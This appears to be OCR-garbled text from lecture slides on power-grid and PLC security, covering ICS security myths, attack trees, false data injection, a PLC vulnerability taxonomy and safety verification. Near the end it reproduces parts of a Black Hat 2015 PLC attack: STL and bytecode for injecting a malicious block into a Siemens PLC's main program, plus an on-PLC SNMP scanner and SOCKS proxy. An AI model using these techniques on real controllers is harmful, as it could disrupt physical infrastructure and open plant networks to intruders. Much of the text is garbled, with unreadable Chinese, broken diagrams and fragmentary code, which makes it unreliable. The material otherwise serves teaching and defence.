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Cybersecurity Myths on Power Control Systems:
21 Misconceptions and False Beliefs

IEEE TRANSACTIONS ON POWER DELIVERY, VOL. 26, NO. 1, JANUARY 2011

A.1 “Industrial control systems are isolated”

A.2 “Nobody wants to attack us”

A.3 “We only have obscure protocols /systems”

A.4 “Anti-virus and/or patching are useless for ICSs”

A.5 “Cyber security incidents will not impact operations"
A.6 “Social engineering is not an ICS issue”

B.1 “Our firewall protects us automatically”

B.2 “One-way communication offers 100% protection”

B.3 “It’s encrypted: it’s protected"

B.4 “Anti-virus protection is sufficient"

C.1 “Obscure protocols/systems are naturally secure”

C.2 “Serial-link/4-20mA wire communications are immune”
C.3 “ICS components do not need to be security hardened”
D.1 “ICS security is a technological problem”

D.2 “It’s certified, it’s secured”

D.3 “Vendors have a full command of their products security”
D.4 "Compliance with security standards makes you secure"
D.5 “ICS security assessment does not need full inventories"
D.6 "Access points to ICSs are easily controlled"

D.7 “Security is a problem that needs to be solved only once”
D.8 “Cyber security can be handled at the end of the project”
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presented at the Slides presented at the Black Hat USA Conf.,
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Poll for input/generate output
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IDE
Ethernet ——————
A Outside scope
RS232
ETHERNET
Operating ' 1/0s
system |
System time Run-time System :
Memory management
File system :
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o Input
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( PLC- || Fieldbus AT
System calls program >

Configurations,

Device
management
interface

Drivers

Imodule:
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HTTP
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[ Send stop command ]

/m;/mo\

- Isolate "Stop"
ﬁdentlfyﬂeldbus protoc%l [ pasci:tiequoepnce ] [ Replay stop packets]

A —

[ No authentication] [ Authentication ]

/\

Perform action as
legitimate user *

] [Breakauthentication

information

Replay authentication}

Crash device

Exploit
vulnerable software

[ Firmware ] Operating system

T S

[ Control logic ]

2 TN

[ Run time environment

[ Services ] Malformed packets

Unvalidated inputs ] [ Overflows




False data injection

« M Power Grid g9 :
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Astacker : Control Center |

T | : | :
2= h(x) Q | State £ Bad Data Alarm! |

} > + - > . > X :

: Estimator | r =z7—% | Detection :

| 2 l |

Power Grid | Contingency Optimal u : |
! Sl —> ———| Operator ‘

: Analysis Power Flow P :
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> BT5=/R 1756 ENBT Ethernet module F0 3% (KOYO)
H4-ECOM100 Ethernet module

By disassembling the binary firmware, they were able to fingerprint the system
and reverse engineer the format of the firmware and the checksum

algorithm.

1756 ENBT Modules H4-ECOM100



A Trusted Safety Verifier
for Process Controller Code—TSVZE#
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PLC Code (IL)—L+ Instruction Lifting
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ILIL Code
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Symbolic Execution e
critical code executed on

v
Symbolic Scan Cycle
y i programmable controllers.

Safety Specification | ‘ Graph G'ene-ratlon S ot rolller code is
EE kmmma?%mémm allowed to be executed
Cmmwmﬁmmb¢grl__j?TﬁD?T???? _____ before it passes physical
(Pa_ss)
PLC Code safety checks by TSV.
PLC

NDSS 2014, Stephen MclLaughlin,

Pennsylvania State University
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Block type

Description

Organization Block
Data Block
Function

Function Blocks
System Functions

System Data Blocks

OB

DB

FC

FB

SFC; SFB
SDB

Program entry point
Data storage
Function

Stateful function
System library

PLC configuration
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Boolean term:

» Q0.0 = (I0.0 A I0.1) V I0.2

Statement List (STL):

n o » »

%10 .0
%10 . 1
%10 .2
700 .0

OB 1 with

o = =

%I0.0
%I10.1
%I0.2
%Q0.0

is compiled to

00:
10
20
30:
40:
50
60:
70:

7070
02ab
0014
0014
0505
0000
0000
0000

0101
2735
000a
0000
0505
0000
0000
0000

0108
2d03
c000
0002
0505
0000
0000

0001
03al
c100
0502
050e
0000
0000

0000
6383
ca00
0502
0520
0000
0100

0074
21a7
d880
0502
0100
0000
a691

0000
001c
6500
0502
0800
0000
0000

0000
0006
0100
0502
0000
0000
0000




PLCRE.': )38 S 0 E ) R

— PPLCZEFR O LIBIE—1E4E, S8R EBIANT, BRNTOLARE
— P EER;

> Ei‘?&ﬂ?ﬁﬂﬂﬁﬂ BML IS MERSRAIRE]L, EENE~E8—HH
RS0, RBEIBIRSHMETHN, EECHEr—HATSPRTEEC, MU
&HT%EIJQEZTO DABBI 15 8IS7TRBI, ML, 0, C, THAMRHE SIRIBAFX
o

> NEPLCERVERUAMIEINESHRIE, KNSHMPLOERERTUBIER —HM
RERIAT ¢ - WY, TLLRAET IRBNSERIESA.

> N. G. Ferreira. Automatic Verification of Safety Rules for a Subway

Control Software. In Proceedings of the Brazilian Symposium on
Formal Methods (SBMF), 2004.

> T. Park and P. I. Barton. Formal Verification of Sequence
Controllers. Computers & Chemical Engineering.

> G.Canet, Towards The automatic verification of PLC program written
in Instruction List. In Proc. IEEE Conf. Systems, Man and
Cybernetics (SMC 2000) pages 2449-2454.



PLCE ARG B A7 HY 42

>

>

BRI ASHIS. McLaughl inER 2R
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AT

Internet/ : ;
SCADA/ 5 SCADA MTU 5 Plant
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SCADA and PLC Overview

» Standard Relay (HrifEZKFE 28 ) RRETI
* Points (1) and (3) — NO Contact
), —H— 4
* Points (2) and (4) — NC Contact
* Points (5) and (6) — Activation s ™™ .
- T
 Standard PLC Contacts and Coils (3zfili 5 2%
&)
e NO Contact (“ 17 H:fl) I Gl —O-
é)c:rrnzlclzyt/ (C,)\lpge)n N(():ron;?élztc()ll\log)ad Activation Coil

e NC Contact (“& "4z fl)
e Activation Coil (JBaI%Lk1E)




Input:
Existing PLC
Program
\ \
r
/A\
[~ Static Analysis Tool
PLC
Secunty
Vulnerability Taxonomy
Taxonomy [* Engine
\\\_/_/‘
B R
\\—w/
A

Design Design Pattern Vulnerability

Pattems ” Engine Patterns
\_\—//

Severity Vulnerability
Severity Engine Severity
Chart
\\V_/
Pl
Qutput:
List of Vulnerabilities,
Associated Design
Patterns, Severity
Level

N

PLC Code Vulnerabilities
Through SCADA Systems |,
Sidney E. Valentine, Jr.
University of South Carolina |,
2013



Attack Severity Analysis — Severity Chart

Effects in PLC Effects in SCADA

A PLC Code will not perform the desired tasks Will not allow for remote
operation of the process

B Serious hindrance to the process The process could experience
intermittent process failure
C Adversely effects PLC code performance. A Data shown on the SCADA

minimal cost effect to the project, but a “quick  screen is most likely false
fix” is possible

D Effects the credibility of the system, but the Incorrect data could be
PLC code is operable randomly reported, cause a
lack of confidence in the
system



Attack Severity Analysis — Severity Chart

e Severity Classifications:

* Severity Level A: Could potentially cause all, or
part, of a critical process to become non-
functional.

e Severity Level B: Could potentially cause all, or
part, of a critical process to perform erratically.

e Severity Level C: Denote a “quick fixes”
e Severity Level D: Provide false or

misrepresented information to the SCADA
terminal.



Building the Vulnerability Taxonomy

Design-Level
Level 1 A
_________________ T___________——__==== = “mm ar * paadieaekeeat et et e St o
1 |
Hardware Based I | software Based :
. I 2
Level 2 {Physical) Error | {Virtual) Error |
______________________ l_—_—_—_, \_—_—_—_I i i - -
Level 3 Logic Errors Duplicate Unused Objects Hidden Jumpers

Objects Installed

Placement and
Flament Scope and Force Rung Jumpers
Level 4 Component Linkage Errors il
Errors
Beginning of End of Rung
Level 5 Rung Functions Functions
__________________ _1_______,_____________________________
Hoemally Dper Comparative Counter Program Flow Mathematical Data Handlin
Level 6 and Normally P 7 Timer Functions z g ¥ 3 ; g
Functions Functions Instructions Functions Functions
Closed Contacts




Building the Vulnerability Taxonomy

Software
Based
(Virtual)
Errors
R Dupli
! A uplicate :
: Logic Errors || Objects ggu:cet(: Jﬂlr:dz:s
I : Installed ) P
L2
SRENMINE , G0 : HE. TR, e

EIREIREREN | (BESTEZERMAKRER

Vulnerability Taxonomy: Software Based (Virtual) Errors



Building the Vulnerability Taxonomy

* Software Based (Virtual) Errors:
e Attributes:
* Error Class
* Possible Value: Design Level Error
* Error Sub-Class
e Possible Values: Logic Errors, Duplicate
Objects Installed, Unused Objects and
Hidden Jumpers



Building the Vulnerability Taxonomy

Error Subclass Logic Errors

C Element Affected >—
Placement and Security Risk
Element | [ ~Scope A

Component Linkage Errors

Errors
Severity Level

EOR Function
Classification

BOR Function
Classification

|

i |

Correctable by moving Beginning of Il EndofRung | Correctable by moving
associated coil? Rung Function : Function 1 associated trigger?

| I !

< Incorrect rung ) LY 4 < Incorrect rung )
placement? \ / placement?
N /
N P4
-

Wi -
NOTE: Opportunity for crossover between subclass types



PLC Ladder Logic

: Race Condition

1:2/1 [:2/2 T4:0/DN 0:3/0
|| +F v d @
T4:0
1:2/1 |:2/2 T4:0/DN 0:3/0
| | | | |
| /f/r | O_

T4:0




Verify that the Stop
Button Has Not Been
Pressed
(1:2/2)

Race Condition
(ERROR)

Activate Emergency
Shutdown Timer
(T4:0)

Verify that Timer

Done Bit is Not
Activated
(T4:0/DN)

Signal Process

Shutdown

Verify that the Stop
Button Has Not Been
Pressed
(1:212)

Activate Emergency
Shutdown Timer
(T4:0)

Verify that Timer
Done Bit is
Activated
(T4:0/DN)




State Transition Analysis: Race Condition

Start 1
Shutdown

Verify that the Stop
Button Has Not Been
Pressed
(1:212)

Process
(1:211)

Race Condition
(ERROR)

Activate Emergency
Shutdown Timer

(T4:0)

Verify that Timer
Done Bit is Not

Activated

(T4:0/DN)

Signal Process

Shutdown
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Internet-Facing PLCs - A New Back Orifice

> Johannes Klick, BlackHat 2015

> Introduction

» A Traditional Attack Vectors

> A [nternet—facing PLCs

> A Generell Attack Overview

> Siemens PLCs

> A STL Language and its MC7 Bytecode

> A S7Comm Protocol (downloading program b
> Attack Details

> A PLC Code Injection with PLCinject (Demo
A SNMP Scanner & SOCKS Proxy in STL

v
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Corporate / production

network
N | \

Internet

PLC 1 is connected to the Internet
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Corporate / production

network ) —

N

main block



FC 666

081 /' OPN DB666

CALL FCe666 %DBX0.4
Ju L1 \ 1 attack code.

A %I0.0

A %I0.1

0O %I0.2

= %Q0.0



Lz

00:
10:
20:
30:
40

CALL FC666 1. insert block call

JU 1A 2. increase total block length
A 75I0.0 3. increase code length

A %I10.1

0 A10:2

= %Q0.0

BE

7070 0101 0108 0001 0000 007C 0000 0000
02ab 2735 2d03 03al 6383 21a7 001c 0006
0014 0012 fb70 029a 700b 0002 c000 c100
ca00 d880 6500 0100 0014 0000 0002 0502
0502 0502 0502 0502 0505 0505 0505 ...



4

Corporate / production - -
network —

\v\,—) \ /1%%ﬁ

= 10.0.0.2
PLCY ...
10001 e,
FC 666 |
DB 666
snmp  OB1

scanner modified
main block

... patches it and uploads a SNMP scanner



Y

Corporate / production
network

N e
O\

— PLC2

— 10.0.0.2
PLC1 _

SNMP = Downloading

scanner ——"—"00m———— DB 666. ..

10.0.0.2

10.0.0.3

data block

Attacker downloads the scanning results




4

Corporate / production
network

\ J\

Connecting
to0 10.0.0.2

A SOCKS proxy enables him to reach the net behind the PLC




0001 get ip

0002
0003
0004
0005
0006
0007
0008
0009
0010
0011
0012
0013
0014
0015
0016
0017
0018

// read ip from system state list
CALL RDSYSST

SZL_ID

RET VAL
:=f#sysst_busy
:="DB".szlheader.SZL HEADER
:="DE", ip info

SZL_ HEADER

// wait until SZL read finished
#sysst busy

#got ip

Get the PLC's IP



0020
0021
0022
0023
0024
0025
0026
0027
0028

0029
0030

0031
0032
0033
0034
0035

//
//

//

L

4
//

calc first ip of local network
I, "DB".ip info.local ip

OPN "DE"

L $DBD406
L, "DB”.ip info.subnet

L $DBD410

AD
T "DB".ADDRESS.rem ip addr

ik $DBD64
get number of hosts from subnet
L "DB".ip info.subnet

L $DBD410

L WH16#FFFFFFFF

XOD

i #num hosts

Calculate the subnet mask




0007
0008
0009
0010

0011
0012

0013
0014
0015
0016

CALL TUSEND , "TUSEND DB _ SCAN"
REQ : =#send
ID =1
LEN =473
DONE :=#send_done
BUSY :=#send_busy
ERROR :=#send_error
STATUS :=#send status
DATA :="DB" .SNMP__get
ADDR :="DB" .ADDRESS

Send UDP packets (SNMP get request)



SOCKS 54 B

:-NOP C

0001 cdnnect

0002
0003
0004
0005
0006
0007
0008
0009
0010
0011
0012
0013
0014
0015
0016
0017
0018
0019

CALL TCON , "TCON target DB"

AN

JC

AN

JC

REQ :=f#connect
ID +=W#16#0002
DONE :=f#con_done
BUSY :=f#con_busy
ERROR :=f#con_error
STATUS :=

CONNECT :="params".TCON target

#connect
#connect
connect

#con done
#con busy
#con_error
next state
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Process image of outputs

(PI1O)
e s

Process image of inputs

e (PII) Y
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User program

>

Cycle time

-
\

Cycle control point (CCP) |
\_ Operating system (0S) _>~—|———

;

Default maximum cycle time = 150 ms
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